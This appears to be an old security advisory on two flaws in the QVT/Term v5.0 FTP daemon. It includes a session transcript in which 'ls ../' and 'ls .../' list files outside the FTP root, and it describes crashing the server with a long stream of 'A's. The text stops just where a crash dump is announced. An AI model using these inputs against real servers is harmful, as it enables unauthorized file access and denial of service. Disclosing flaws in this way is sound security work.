Vulnerabilities in QVT/Term




    Overview

QVT/Term v5.0 is a suite of Internet tools available from http://www.qpc.com/.  Two
vulnerabilities exist in the FTP daemon.  The first allows a remote user to list the files
outside the ftp root.  The second allows a remote user to crash the server.




    Details

The following excerpt demonstrates the file listing problem; an ftp root of 'C:\root\root\'
was used:


> ftp localhost
Connected to xxxxxxxxx.rh.rit.edu.
220 xxxxxxxxx FTP server (QVT/Net 4.3) ready.
User (xxxxxxxxx.rh.rit.edu:(none)): anonymous
331 Guest login OK, please send real ident as password.
Password:
230 Guest login OK, access restrictions apply.
ftp> ls ../
200 PORT command successful.
150 Opened data connection for 'ls' (xxxxxxxxx,1048) (0 bytes).
root
226 Transfer complete.
ftp: 6 bytes received in 0.05Seconds 0.12Kbytes/sec.
ftp> ls .../
     [file listing of C:\ is shown here]
226 Transfer complete.
ftp: 1192 bytes received in 0.11Seconds 10.84Kbytes/sec.
ftp>



The following is the crash dump that results when a remote user connects to port 21 and
sends a long stream of 'A's (~700+):
